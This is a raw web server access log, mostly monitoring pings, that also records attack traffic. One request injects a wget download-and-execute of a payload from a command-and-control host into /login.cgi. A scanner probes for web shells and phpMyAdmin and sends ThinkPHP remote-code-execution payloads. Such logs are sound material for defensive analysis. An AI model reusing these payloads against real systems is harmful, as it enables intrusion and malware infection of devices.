78.46.204.32 - - [26/Feb/2020:08:56:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Wappalyzer)"
212.91.246.72 - - [26/Feb/2020:08:56:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:57:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:58:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:08:59:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:00:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:01:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:02:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:03:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:04:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:05:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:06:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.31.45.251 - - [26/Feb/2020:09:07:14 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [26/Feb/2020:09:07:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:08:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.188.210.101 - - [26/Feb/2020:09:09:08 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:09:09:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:10:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:11:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.188.210.101 - - [26/Feb/2020:09:12:10 +0100] "GET http://5.188.210.101/echo.php HTTP/1.1" 404 313 "https://www.google.com/" "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36"
212.91.246.72 - - [26/Feb/2020:09:12:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:13:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.189.200.210 - - [26/Feb/2020:09:14:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [26/Feb/2020:09:14:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:15:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:16:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:17:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:18:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
78.186.9.102 - - [26/Feb/2020:09:19:24 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [26/Feb/2020:09:19:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:20:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:21:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [26/Feb/2020:09:22:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.103.210.194 - - [26/Feb/2020:09:23:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
211.103.210.194 - - [26/Feb/2020:09:23:37 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
211.103.210.194 - - [26/Feb/2020:09:23:37 +0100] "POST /Admin56f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
212.91.246.72 - - [26/Feb/2020:09:23:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
89.121.232.138 - - [26/Feb/2020:09:24:01 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
211.103.210.194 - - [26/Feb/2020:09:24:03 +0100] "GET /l.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
211.103.210.194 - - [26/Feb/2020:09:24:03 +0100] "GET /phpinfo.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
211.103.210.194 - - [26/Feb/2020:09:24:03 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:57.0) Gecko/20100101 Firefox/57.0"
211.103.210.194 - - [26/Feb/2020:09:24:04 +0100] "POST /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
211.103.210.194 - - [26/Feb/2020:09:24:31 +0100] "POST /forum.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
212.91.246.72 - - [26/Feb/2020:09:24:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.103.210.194 - - [26/Feb/2020:09:24:55 +0100] "POST /forums.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
211.103.210.194 - - [26/Feb/2020:09:25:19 +0100] "POST /bbs/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
211.103.210.194 - - [26/Feb/2020:09:25:43 +0100] "POST /forum/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
212.91.246.72 - - [26/Feb/2020:09:25:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.103.210.194 - - [26/Feb/2020:09:26:07 +0100] "POST /forums/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)"
211.103.210.194 - - [26/Feb/2020:09:26:30 +0100] "GET /webdav/ HTTP/1.1" 404 312 "-" "Mozilla/5.0"
211.103.210.194 - - [26/Feb/2020:09:26:31 +0100] "GET /help.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:32 +0100] "GET /java.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:33 +0100] "GET /_query.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:34 +0100] "GET /test.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:35 +0100] "GET /db_cts.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:36 +0100] "GET /db_pma.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:37 +0100] "GET /logon.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:39 +0100] "GET /help-e.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:39 +0100] "GET /license.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:40 +0100] "GET /log.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:41 +0100] "GET /hell.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:42 +0100] "GET /pmd_online.php HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:43 +0100] "GET /x.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
212.91.246.72 - - [26/Feb/2020:09:26:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.103.210.194 - - [26/Feb/2020:09:26:46 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:47 +0100] "GET /htdocs.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:48 +0100] "GET /b.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:48 +0100] "GET /sane.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:50 +0100] "GET /desktop.ini.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:50 +0100] "GET /z.php HTTP/1.1" 404 310 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:51 +0100] "GET /lala.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:51 +0100] "GET /lala-dpr.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:53 +0100] "GET /wpc.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:53 +0100] "GET /wpo.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:54 +0100] "GET /t6nv.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:54 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:55 +0100] "GET /text.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:55 +0100] "GET /wp-config.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:56 +0100] "GET /muhstik.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:58 +0100] "GET /muhstik2.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:59 +0100] "GET /muhstiks.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:26:59 +0100] "GET /muhstik-dpr.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:02 +0100] "GET /lol.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:03 +0100] "GET /uploader.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:03 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:04 +0100] "GET /cmv.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:04 +0100] "GET /cmdd.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:04 +0100] "GET /knal.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:05 +0100] "GET /cmd.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:05 +0100] "GET /shell.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:06 +0100] "GET /appserv.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:07 +0100] "GET /scripts/setup.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:07 +0100] "GET /phpmyadmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:08 +0100] "GET /phpMyAdmin/scripts/setup.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:08 +0100] "GET /scripts/db___.init.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:08 +0100] "GET /phpmyadmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:09 +0100] "GET /phpMyAdmin/scripts/db___.init.php HTTP/1.1" 404 338 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:09 +0100] "GET /pma/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:09 +0100] "GET /PMA/scripts/setup.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:10 +0100] "GET /myadmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:10 +0100] "GET /MyAdmin/scripts/setup.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:11 +0100] "GET /pma/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:12 +0100] "GET /PMA/scripts/db___.init.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:12 +0100] "GET /myadmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:12 +0100] "GET /MyAdmin/scripts/db___.init.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:13 +0100] "GET /plugins/weathermap/editor.php HTTP/1.1" 404 334 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:13 +0100] "GET /cacti/plugins/weathermap/editor.php HTTP/1.1" 404 340 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:14 +0100] "GET /weathermap/editor.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:15 +0100] "GET /index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:15 +0100] "GET /elrekt.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%48%50 HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:15 +0100] "GET /App/?content=die(md5(HelloThinkPHP)) HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:16 +0100] "GET /index.php/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 363 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:16 +0100] "GET /index.php?s=/module/action/param1/${@die(md5(HelloThinkPHP))} HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:16 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:17 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:17 +0100] "GET /joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:17 +0100] "GET /Joomla/ HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:18 +0100] "GET /?a=echo%20-n%20HelloNginx%7Cmd5sum HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:19 +0100] "GET /d7.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:19 +0100] "GET /rxr.php HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:20 +0100] "GET /1x.php HTTP/1.1" 404 311 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:20 +0100] "GET /home.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:21 +0100] "GET /undx.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:21 +0100] "GET /spider.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:22 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:22 +0100] "GET /composers.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:23 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:23 +0100] "GET /composer.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:23 +0100] "GET /hue2.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:24 +0100] "GET /Drupal.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:24 +0100] "GET /lang.php?f=1 HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:25 +0100] "GET /izom.php HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:25 +0100] "GET /payload.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:26 +0100] "GET /new_license.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:27 +0100] "GET /images/!.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
211.103.210.194 - - [26/Feb/2020:09:27:27 +0100] "GET /images/vuln.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:31.0) Gecko/20100101 Firefox/31.0"
